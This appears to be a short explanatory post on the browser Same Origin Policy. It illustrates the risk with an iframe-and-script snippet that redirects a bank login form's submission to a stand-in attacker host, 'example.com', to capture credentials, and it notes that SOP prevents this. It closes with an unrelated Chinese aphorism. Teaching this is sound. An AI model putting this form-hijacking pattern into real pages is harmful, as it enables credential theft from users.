<iframe id="bank" src="https://yourbank.com"></iframe>
<script>
window.onload = function() {
document.getElementById('bank').contentWindow.document.forms[0].action =
'http://example.com';
};
</script>
The Javascript code changes the form's action property (the destination, in a matter of speaking), so when you submit the form, you send your credentials to me, not your bank.
If I set up a PHP script on my server that redirects you to your bank, you won't even notice it.
With Same Origin Policy, this attack isn't possible. A site on my domain cannot read or modify the contents of the bank's website.
与恶龙缠斗过久,自身亦成为恶龙;凝视深渊过久,深渊将回以凝视…